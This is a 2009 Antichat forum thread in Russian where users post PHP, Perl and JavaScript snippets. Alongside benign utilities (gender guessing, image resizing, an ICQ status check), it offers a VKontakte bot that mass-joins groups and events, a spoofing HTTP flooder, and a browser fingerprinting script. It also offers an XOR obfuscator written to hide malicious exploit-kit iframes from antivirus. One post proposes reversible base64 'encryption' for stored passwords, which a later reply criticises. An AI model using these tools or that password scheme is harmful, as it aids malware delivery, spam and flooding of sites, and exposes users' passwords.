Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

29.09.2009, 13:51
|
|
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме: 4778940
Репутация:
1257
|
|
Определяет пол по имени, на основе того, что большинство женских имён заканчиваются на гласную. Определяет не 100% но для моих целей хватает. Поддерживает имена в транслите.
Код:
sub gender # 1 - woman; 0 - man
{
my ($name) = @_;
return 1 if $name=~"я\$";
return 1 if $name=~"а\$";
return 1 if $name=~"о\$";
return 1 if $name=~"ы\$";
return 1 if $name=~"э\$";
return 1 if $name=~"е\$";
return 1 if $name=~"a\$";
return 1 if $name=~"o\$";
return 1 if $name=~"i\$";
return 1 if $name=~"e\$";
return 1 if $name=~"Я\$"; # shit
return 1 if $name=~"А\$";
return 1 if $name=~"О\$";
return 1 if $name=~"Ы\$";
return 1 if $name=~"Э\$";
return 1 if $name=~"Е\$";
return 1 if $name=~"A\$";
return 1 if $name=~"E\$";
return 1 if $name=~"O\$";
return 1 if $name=~"I\$";
return 0;
}
ЗЫ. на самом деле я perl не знаю, так что говнокод тут явный.
|
|
|

30.09.2009, 00:59
|
|
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
Провел на форуме: 4002393
Репутация:
464
|
|
скрипт для добавления юзера в группы и встречи по диапазону. Диапазону групп и встреч. диапазон для групп и встреч один и тотже
вот скрипт
PHP код:
<form method="POST">
<center>
Email:<input type="text" name="email"><br>
Pass:<input type="text" name="pass"><br>
Стартовать с ID:<input type="text" name="start"><br>
Закончить на ID:<input type="text" name="end"><br>
Таймаут:<input type="text" name="sleep"><br>
<input type=submit value="НАчать РАботать!!!"></center>
<?php
set_time_limit(0);
function curl($url,$post)
{
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
$start = $_POST['start'];
$end = $_POST['end'];
$email = $_POST['email'];
$pass = $_POST['pass'];
$sleep = $_POST['sleep'];
if(!$email||!$pass||!$start||!$end||!$sleep){exit; }
for($i=$start; $i<=$end; $i++)
{
$result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
$result = curl("http://vkontakte.ru/club".$i,"");
preg_match_all ('#</li><li><a href=\'(.*)\'>#iU', $result, $regs);
$ssil = $regs[1][0];
$result = curl("http://vkontakte.ru".$ssil,"");
$result = curl("http://vkontakte.ru/events.php?act=s&gid=".$i,"");
preg_match_all ('#<a href=\"events\.php\?act=enter\&gid=(.*)\">#iU', $result, $regs);
$ssil = $regs[1][0];
$result = curl("http://vkontakte.ru/events.php?act=enter&gid=".$ssil,"");
sleep($sleep);
}
?>
|
|
|

05.10.2009, 10:00
|
|
Новичок
Регистрация: 27.04.2008
Сообщений: 15
Провел на форуме: 154305
Репутация:
6
|
|
2 PHP-функции для работы с изображениями.
Представляю вашему вниманию 2 полезных PHP-функции для работы с картинками.
Одна из них позволяет пропорционально уменьшать размеры картинки, вторая - проверять картинку на валидность (защита от XSS-атак).
Пропорциональное уменьшение размеров изображения:
PHP код:
<?php
/** Универсальный ресайз картинок
*
* Функция позволяет копировать изображение,
* оставляя его исходные характеристики или
* изменяя его размер и/или качество.
* При изменении размера сохраняются пропорции.
*
* Функция умеет работать с изображениями
* следующих форматов: JPG, PNG, GIF.
*
* Параметры:
* @ $from - путь к изображению, над которым будут выполняться операции
* @ $to - путь к результирующему изображению
* @ $maxwidth - максимальная ширина изображения
* @ $maxheight - максимальная высота изображения
* @ $quality - качество картинки (0..100) (для JPG и PNG)
*
* Возвращаемые значения:
* false - во время выполнения произошла ошибка
* true - функция выполнилась успешно и без ошибок
*
* Автор:
* @name Валерий 'Figaroo' Киркиж
* @url http://figaroo.ru/
* @email mail@figaroo.ru
*/
function figaroo_resize_image ($from, $to, $maxwidth, $maxheight, $quality = 80) {
// защита от Null-байт уязвимости PHP
$from = preg_replace('/\0/uis', '', $from);
$to = preg_replace('/\0/uis', '', $to);
// информация об изображении
$imageinfo = @getimagesize($from);
// если получить информацию не удалось - ошибка
if (!$imageinfo) return false;
// получаем параметры изображения
$width = $imageinfo[0]; // ширина
$height = $imageinfo[1]; // высота
$format = $imageinfo[2]; // ID формата (число)
$mime = $imageinfo['mime']; // mime-тип
// определяем формат и создаём изображения
switch ($format) {
case 2: $img = imagecreatefromjpeg($from); break; // jpg
case 3: $img = imagecreatefrompng($from); break; // png
case 1: $img = imagecreatefromgif($from); break; // gif
default: return false; break;
}
// если создать изображение не удалось - ошибка
if (!$img) return false;
// меняем размеры изображения
$newwidth = $newheight = 0;
// требуется квадратная картинка
if ($maxwidth == $maxheight) {
// размеры картинки больше по X и по Y
if ($width > $maxwidth && $height > $maxheight) {
// пропорции картинки одинаковы
if ($width == $height) {
$newwidth = $maxwidth;
$newheight = $maxheight;
}
// ширина больше
elseif ($width > $height) {
$newwidth = $maxwidth;
$newheight = intval(((float)$newwidth / (float)$width) * $height);
}
// высота больше
else {
$newheight = $maxheight;
$newwidth = intval(((float)$newheight / (float)$height) * $width);
}
}
// размеры картинки больше только по X
elseif ($width > $maxwidth) {
$newwidth = $maxwidth;
$newheight = intval(((float)$newwidth / (float)$width) * $height);
}
// размеры картинки больше только по Y
elseif ($height > $maxheight) {
$newheight = $maxheight;
$newwidth = intval(((float)$newheight / (float)$height) * $width);
}
// в остальных случаях ничего менять не надо
else {
$newwidth = $width;
$newheight = $height;
}
}
// требуется горизонтальная картинка
elseif ($maxwidth > $maxheight) {
// размеры картинки больше по X и по Y
if ($width > $maxwidth && $height > $maxheight) {
// ширина больше
if ($width > $height) {
$newwidth = $maxwidth;
$newheight = intval(((float)$newwidth / (float)$width) * $height);
}
// высота больше или равна ширине
else {
$newheight = $maxheight;
$newwidth = intval(((float)$newheight / (float)$height) * $width);
}
}
// размеры картинки больше только по X
elseif ($width > $maxwidth) {
$newwidth = $maxwidth;
$newheight = intval(((float)$newwidth / (float)$width) * $height);
}
// размеры картинки больше только по Y
elseif ($height > $maxheight) {
$newheight = $maxheight;
$newwidth = intval(((float)$newheight / (float)$height) * $width);
}
// в остальных случаях ничего менять не надо
else {
$newwidth = $width;
$newheight = $height;
}
}
// требуется вертикальная картинка
elseif ($maxwidth < $maxheight) {
// размеры картинки больше по X и по Y
if ($width > $maxwidth && $height > $maxheight) {
// ширина больше или равна высоте
if ($width >= $height) {
$newwidth = $maxwidth;
$newheight = intval(((float)$newwidth / (float)$width) * $height);
}
// высота больше
else {
$newheight = $maxheight;
$newwidth = intval(((float)$newheight / (float)$height) * $width);
}
}
// размеры картинки больше только по X
elseif ($width > $maxwidth) {
$newwidth = $maxwidth;
$newheight = intval(((float)$newwidth / (float)$width) * $height);
}
// размеры картинки больше только по Y
elseif ($height > $maxheight) {
$newheight = $maxheight;
$newwidth = intval(((float)$newheight / (float)$height) * $width);
}
// в остальных случаях ничего менять не надо
else {
$newwidth = $width;
$newheight = $height;
}
}
// если изменений над картинкой производить не надо - просто копируем её
if ($newwidth == $width && $newheight == $height && $quality == 80) {
if (copy($from, $to)) return true;
else return false;
}
// создаём новое изображение
$new = imagecreatetruecolor($newwidth, $newheight);
$black = imagecolorallocate($new, 0, 0, 0);
$white = imagecolorallocate($new, 255, 255, 255);
// копируем старое в новое с учётом новых размеров
imagefilledrectangle($new, 0, 0, $newwidth - 1, $newheight - 1, $white);
//imagecolortransparent($new, $white);
imagecopyresampled($new, $img, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
// создаём файл с новым изображением
switch ($format) {
case 2: // jpg
if ($quality < 0) $quality = 0;
if ($quality > 100) $quality = 100;
imagejpeg($new, $to, $quality);
break;
case 3: // png
$quality = intval($quality * 9 / 100);
if ($quality < 0) $quality = 0;
if ($quality > 9) $quality = 9;
imagepng($new, $to, $quality);
break;
case 1: // gif
imagegif($new, $to);
break;
}
return true;
}
?>
Проверка на валидность:
PHP код:
<?php
// функция проверки изображения на валидность (защита от XSS-атак)
function verify_image ($file) {
// защита от Null-байт уязвимости PHP
$file = preg_replace('/\0/uis', '', $file);
// проверка изображения
$txt = file_get_contents($file);
if (preg_match('#&(quot|lt|gt|nbsp|amp);#i', $txt)) return false;
elseif (preg_match("#&\#x([0-9a-f]+);#i", $txt)) return false;
elseif (preg_match('#&\#([0-9]+);#i', $txt)) return false;
elseif (preg_match("#([a-z]*)=([\`\'\"]*)script:#iU", $txt)) return false;
elseif (preg_match("#([a-z]*)=([\`\'\"]*)javascript:#iU", $txt)) return false;
elseif (preg_match("#([a-z]*)=([\'\"]*)vbscript:#iU", $txt)) return false;
elseif (preg_match("#(<[^>]+)style=([\`\'\"]*).*expression\([^>]*>#iU", $txt)) return false;
elseif (preg_match("#(<[^>]+)style=([\`\'\"]*).*behaviour\([^>]*>#iU", $txt)) return false;
elseif (preg_match("#</*(applet|link|style|script|iframe|frame|frameset)[^>]*>#i", $txt)) return false;
return true;
}
?>
|
|
|

05.10.2009, 10:04
|
|
Новичок
Регистрация: 27.04.2008
Сообщений: 15
Провел на форуме: 154305
Репутация:
6
|
|
Скрипт сбора информации о пользователе.
Код:
<script type="text/javascript">
var browserId = '', b_id1 = '', b_id2 = '', userInf = '';
</script>
<script type="text/javascript">
var jsversion = '';
for (var i = 1; i < 10; i++) document.write('<' + 'script language="javascript1.' + i + '">jsversion = "' + i + '";<' + '/script>');
b_id1 += jsversion + ''; var b_chk = 'A';
</script>
<script type="text/vbscript">b_chk = "B"</script>
<script type="text/javascript">
b_id1 += b_chk; b_chk = 'B';
try {delete this} catch (E) {b_chk = 'A'}
b_id1 += b_chk; b_chk = 'B';
try {delete navigator} catch (E) {b_chk = 'A'}
b_id1 += b_chk; b_chk = '0';
if (typeof Window == 'function') {if (window instanceof Window) {b_chk = '1';}}
b_id1 += b_chk; b_chk = '0';
if (typeof Document == 'function') {if (document instanceof Document) {b_chk = '1'}}
b_id1 += b_chk; b_chk = '0';
if (typeof Navigator == 'function') {if (navigator instanceof Navigator) {b_chk = '1'}}
b_id1 += b_chk; b_chk = 'B';
try {var docwrite = document.write; docwrite('')} catch (E) {b_chk = 'A'}
b_id1 += b_chk;
b_chk = 'A';
try {eval('cons'+'t acons=true');} catch(e) {b_chk = 'B'}
b_id1 += b_chk;
</script>
<script type="text/javascript">
if (window.crypto) {if (window.crypto.alert) {b_id1 = b_id1 + '1'}} else {b_id1 = b_id1 + '0'}
</script>
<script type="text/javascript">
if (typeof window.onload == "function") {
var chkonload = window.onload.toString();
var isonloadanonymous = (chkonload.search('anonymous') != -1);
if (isonloadanonymous) {b_id1 += '2'} else {b_id1 += '1'}
} else {b_id1 += '0'}
var actxobj = (typeof ActiveXObject == "function") ? 'B' : 'A';
var gactxobj = (typeof GeckoActiveXObject == "function") ? 'A' : 'B';
b_id1 += actxobj + gactxobj;
</script>
<script type="text/javascript">
var dopBrowserInfo = new function (ie) {
var d = document, w = window;
this.ff = !!w.Iterator && !!d.addEventListener && /a/[-1] == 'a';
this.ff2 = this.ff && (function x(){})[-6] == 'x';
this.ff3 = !!d.getElementsByClassName && this.ff && (function x(){})[-5] == 'x';
this.ie = (ie && '\v' == 'v');
this.ie5 = this.ie && ie == 5;
this.ie6 = this.ie && (ie == 6 || (d.compatMode && d.all && !!d.readyState));
this.ie7 = this.ie && (ie == 7 && d.documentElement && typeof d.documentElement.style.maxHeight != "undefined");
this.ie8 = this.ie && (ie == 8 && !!d.querySelectorAll);
this.safari = /a/.__proto__ == '//';
this.chrome = /source/.test((/a/.toString + ''));
this.opera = (!ie && !!w.opera && w.opera.toString() === "[object Opera]" && /^function \(/.test([].sort));
var div = d.createElement('div'),
body = d.body;
div.innerHTML = '<' + 'style' + '>' + '#_t{display:none;}#_t[rel^="D"]{display:block;}' + '<' + '/style' + '>';
div.innerHTML += '<span id="_t" rel="Detect"></span>';
div.style.display = 'none';
body.appendChild(div);
var obj = d.getElementById('_t'),
stat = w.getComputedStyle ? w.getComputedStyle(obj, null).getPropertyValue("display") : obj.currentStyle ? obj.currentStyle.display : null;
this.css3 = (stat == "block");
body.removeChild(div);
this.result = new String();
this.result += (this.ff ? '1' : '0') + (this.ff2 ? '1' : '0') + (this.ff3 ? '1' : '0') + '.';
this.result += (this.ie ? '1' : '0') + (this.ie5 ? '1' : '0') + (this.ie6 ? '1' : '0') + (this.ie7 ? '1' : '0') + (this.ie8 ? '1' : '0') + '.';
this.result += (this.safari ? '1' : '0') + (this.chrome ? '1' : '0') + (this.opera ? '1' : '0') + (this.css3 ? '1' : '0');
}(0 /*@cc_on + (@_jscript_version * 10 % 10) @*/);
b_id2 = dopBrowserInfo.result;
delete dopBrowserInfo;
</script>
<script type="text/javascript">
if (window.screen.width && window.screen.height) {
userInf += window.screen.width + '*' + window.screen.height;
if (window.screen.colorDepth) userInf += '@' + window.screen.colorDepth;
} else userInf += 'undefined';
if (navigator.systemLanguage) userInf += ' ' + navigator.systemLanguage; else userInf += ' no';
if (navigator.browserLanguage) userInf += ' ' + navigator.browserLanguage; else userInf += ' no';
if (navigator.userLanguage) userInf += ' ' + navigator.userLanguage; else userInf += ' no';
if (navigator.javaEnabled()) userInf += ' yes'; else userInf += ' no';
</script>
<script type="text/javascript">
browserId = b_id1 + ' ' + b_id2 + ' ' + userInf;
document.write(browserId);
</script>
|
|
|

05.10.2009, 10:06
|
|
Новичок
Регистрация: 27.04.2008
Сообщений: 15
Провел на форуме: 154305
Репутация:
6
|
|
Универсальный флудер на PHP.
PHP код:
<?php
/*
* Figaroo Multi-purpose Flooder v1.0
*
* Описание: универсальный флудер
* Требования: разрешение на работу с сокетами
* Автор - Figaroo, http://figaroo.ru/
*/
// неограниченное время выполнения скрипта
set_time_limit(0);
// настройки
define('URL', 'POST http://localhost/poligon/global_flooder/test.php'); // HTTP-метод и URL скрипта, который будем флудить
define('TIMES', 3); // количество сообщений, которых требуется отправить
define('ANTIFLOOD', 5); // время задержки (антифлуда), в секундах
define('COOKIES', 'param1=a; param2=b'); // кукисы
define('REFERER', 'http://localhost/poligon/global_flooder/test.php'); // реферер
define('USERAGENT', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'); // юзер-агент
define('RNDVAR', '<VAR>'); // случайный текст будет подставлен вместо этого
// данные для отправки методом GET
// <VAR> будет заменено на случайное значение
$GET_DATA = array(
'text' => 'Привет всем!',
);
// данные для отправки методом POST
// <VAR> будет заменено на случайное значение
$POST_DATA = array(
'message' => 'Тест. message =) [<VAR>]',
'test' => '123',
);
// флудим
$count = 0; // счётчик отправленных сообщений
$url = explode(' ', URL);
$method = $url[0];
$url = parse_url($url[1]);
if (!@$url['port']) $url['port'] = 80;
$GET_DATA = array_function('rnd_var_handl', $GET_DATA);
$GET_DATA = $GET_DATA ? http_build_query($GET_DATA) : '';
$POST_DATA = array_function('rnd_var_handl', $POST_DATA);
$POST_DATA = $POST_DATA ? http_build_query($POST_DATA) : '';
// отправка сообщений в цикле
for ($i = 0; $i < TIMES; $i++) {
$fp = @fsockopen(@$url['host'], @$url['port'], $errno, $errstr, 10);
if (!$fp) continue;
// формируем заголовки запроса:
$req = $method." ".@$url['path'].($GET_DATA ? '?'.$GET_DATA : '')." HTTP/1.1\r\n";
$req .= "Host: ".@$url['host']."\r\n";
if (USERAGENT) $req .= "User-agent: ".USERAGENT."\r\n";
if (COOKIES) $req .= "Cookie: ".COOKIES."\r\n";
if (REFERER) $req .= "Referer: ".REFERER."\r\n";
if ($method == "POST") {
$req .= "Content-type: application/x-www-form-urlencoded\r\n";
$req .= "Content-Length: ".strlen($POST_DATA)."\r\n";
}
// отсылаем запрос
$req .= "\r\n";
if ($method == 'POST') $req .= $POST_DATA;
fwrite($fp, $req);
fclose($fp);
$count++;
// ждём $antiflood микросекунд и повторяем цикл
if (ANTIFLOOD) sleep(ANTIFLOOD + 1);
}
// замена "случайной" переменной
function rnd_var_handl ($data) {
return str_replace(RNDVAR, md5(microtime(1)), $data);
}
// рекурсивная обработка массивов
function array_function ($func, $array) {
if (!is_array($array)) return call_user_func($func, $array);
foreach ($array as $k => $v) {
if (is_array($v)) $array[$k] = array_function($func, $v);
else $array[$k] = call_user_func($func, $v);
}
return $array;
}
?>
<html>
<body>
<b>Отчёт:</b>
<ul>
<li>Отправлено <b><?=$count?></b> <b><?=$method?></b>-запросов из <b><?=TIMES?></b> требуемых;</li>
<li>Интервал отправки сообщений составил <b><?=ANTIFLOOD?></b> сек.;</li>
<li>Подключение осуществлялось через <b><?=@$url['host']?>:<?=@$url['port']?></b>;</li>
<li>Требуемый скрипт: <b><?=@$url['path']?></b>;</li>
</ul>
<i>Figaroo Multi-purpose Flooder v1.0</i>
</body>
</html>
|
|
|

05.10.2009, 23:18
|
|
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме: 3728999
Репутация:
444
|
|
Проверка статуса ICQ с использованием библиотеки Curl
Found
PHP код:
<?php
class ICQ {
var $crc = array('253889085' => 'offline', '1177883536' => 'online', '1182613274' => 'hidden');
//CRCs valid as long as the redirect-page does not change
function getCrc($url) {
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_HEADER, 0);
ob_start();
curl_exec ($ch);
curl_close ($ch);
$cache = ob_get_contents();
ob_end_clean();
//print($cache);
return (string)abs(crc32($cache));
}
function status($number) {
$check = $this->getCrc( 'http://status.icq.com/online.gif?icq=' . $number . '&img=5');
if (in_array($check, array_keys($this->crc))) {
return $this->crc[$check];
}
return false;
}
}
?>
|
|
|

08.10.2009, 23:58
|
|
Познающий
Регистрация: 07.05.2009
Сообщений: 54
Провел на форуме: 487201
Репутация:
80
|
|
Навеяло
Серфил как-то по тырнету, нарвался на чей-то ифрейм, ведущий на связку. Показал знакомому, его KIS9 проглотил и даже не подавился. Захотелось написать что-то подобное. Писал на скорую руку, посему реализация хромает в паре мест.
PHP код:
<?PHP
srand();
function rvn()
{
$i=rand(4,6);
while (strlen($a)<$i)
$a.=chr(rand(97,122));
return $a;
}
function gen_iframe($iframe)
{
$var_names= array(rvn(),rvn(),rvn(),rvn(),rvn(),rvn());
$xor=rand(40,100);
if (isset($iframe) && $iframe!="")
{
$vxod="document.write(\"$iframe\")";
for ($i=0;$i<strlen($vxod);$i++)
$a.=(ord(substr($vxod,$i,1))^$xor).",";
echo "<script>$var_names[0]=new Array(".substr($a,0,strlen($a)-1).");$var_names[1]=\"\";$var_names[2]=$xor;$var_names[3]=eval;$var_names[4]=String.fromCharCode;for($var_names[5] in $var_names[0])$var_names[1]+=$var_names[4](".$var_names[0]."[".$var_names[5]."]^$var_names[2]);$var_names[3]($var_names[1]);</script>\n";
}
else echo "Input any text into ^^^these^^^ box and press the button.\n";
}
?>
<html>
<head>
<title>Mini-JSobfuscator</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
<form method="post">
<table width="40%" border="0" align="center">
<tr>
<td width="26%"><div align="center">Code:</div></td>
</tr>
<tr>
<td><div align="center"><input name="text" value="<? echo htmlspecialchars(stripslashes($_POST[text]));?>" type="text" size="80%"></div></td>
</tr>
<tr>
<td colspan="3" nowrap><hr></td>
</tr>
<tr>
<td><div align="center">
<textarea readonly="true" ROWS=8 COLS=70><? @gen_iframe($_POST[text]);?></textarea>
</div>
</td>
</tr>
<tr>
<td><div align="right">
<input type="submit" value="Obfuscate">
</div></td>
</tr>
</table>
</form>
<br>
</body>
</html>
Многие антивирусы просто не замечают переобъявления функций в JS.
|
|
|

09.10.2009, 17:09
|
|
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме: 4532332
Репутация:
1196
|
|
2-е простые функции для за/расшифровки паролей.
Писал для своего блога т.к. хранить пасы в чистом виде - небезопасно.
Алгоритм действий :
1. base64_encode;
2. убираем "=" ,чтоб не спалили;
3. добавляем base64_encode первых 3-х символов;
4. Переворачиваем.
функии:
PHP код:
function code($pass)
{
$hash=base64_encode($pass);
$hash=str_replace('=','',$hash);
$center=base64_encode(substr($hash,0,3));
$center=str_replace('=','',$center);
$count=strlen($hash);
$cn=round($count/2);
$first=substr($hash,0,$cn);
$second=substr($hash,$cn,$count);
$hash=$first.$center.$second;
$hash=strrev($hash);
return $hash;
}
function decode($pass)
{
$pass=strrev($pass);
$count=(strlen($pass))-4;
$cn=round($count/2);
$first=substr($pass,0,$cn);
$second=substr($pass,$cn+4,$count+4);
$pass=$first.$second;
$pass=$pass.'==';
$hash=base64_decode($pass);
return $hash;
}
релиз:
PHP код:
<html>
<head>
<title>приветы от liga</title>
<style>
body{
background:#333;
color:#888;
font-family:Verdana, Arial;
font-size:11px;
padding:0px;
margin:0px;
}
.form {
background:#232323;
color:#626262;
border:1px solid #4e4e4e;
padding:2px;
color:#999;
font-family:Verdana, Arial;
font-size:11px;
font-color:green;
color:#727272;
}
h2{
font-size:11px;
padding:0px 0px;
color:#777;
font-size:18px;
font-weight:200;
text-align:center;
}
</style>
</head>
<body bgcolor="black">
<center><h2>[Code-decodE]</h2></center>
1. base64_encode; <br/>
2. убирает "=" ,чтоб не спалили;<br/>
3. добавляет base64_encode первых 3-х символов; <br/>
4. Переворачивае.</br>
<pre>
<?php
if($_POST['do'] and $_POST['text']){
$text=trim($_POST['text']);
}
function code($pass)
{
$hash=base64_encode($pass);
$hash=str_replace('=','',$hash);
$center=base64_encode(substr($hash,0,3));
$center=str_replace('=','',$center);
$count=strlen($hash);
$cn=round($count/2);
$first=substr($hash,0,$cn);
$second=substr($hash,$cn,$count);
$hash=$first.$center.$second;
$hash=strrev($hash);
return $hash;
}
function decode($pass)
{
$pass=strrev($pass);
$count=(strlen($pass))-4;
$cn=round($count/2);
$first=substr($pass,0,$cn);
$second=substr($pass,$cn+4,$count+4);
$pass=$first.$second;
$pass=$pass.'==';
$hash=base64_decode($pass);
return $hash;
}
if(strlen($text)<=3){
echo '<script>alert("strlen(',$text,')<=3")</script>';
$hash='пусто';
}
if(!$hash)
{
$hash='пусто';
}
switch ( $_REQUEST['ctype']) {
case 0:
$hash=code($text);
break;
case 1:
$hash=$text;
break;
}
echo ' зашифрованный пасс: <font color="green">', $hash,'</font>';
echo '<br/> расшифрованный пасс: <font color="green">',decode($hash),'</font>';
?>
<form name="" action="" method="post">
<input name='ctype' type="radio" value="0" checked>[зашифровать]<input name='ctype' type="radio" value="1" checked>[расшифровать]
<input class="form" name="text" type="text" value=""><input class="form" name="do" type="submit" style="height:17px;" value="do it">
</form>
</pre>
</body>
</html>
Последний раз редактировалось L I G A; 09.10.2009 в 20:03..
|
|
|

09.10.2009, 19:18
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме: 1698585
Репутация:
818
|
|
L I G A
а смысл от них? мд5 хотябы нельзя расшифровать, а твой "хэш" если хацкер получит алгоритм то спокойно расшифрует и ты подставиш всех пользователей зареганых у тебя.
|
|
|

09.10.2009, 19:22
|
|
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме: 4532332
Репутация:
1196
|
|
Сообщение от b3
L I G A
а смысл от них? мд5 хотябы нельзя расшифровать, а твой "хэш" если хацкер получит алгоритм то спокойно расшифрует и ты подставиш всех пользователей зареганых у тебя.
ну для начала его надо получить , я не утверждаю что у меня стоит именно такой алгоритм.
мд5 нельзя сбрутить?
Последний раз редактировалось L I G A; 09.10.2009 в 21:23..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|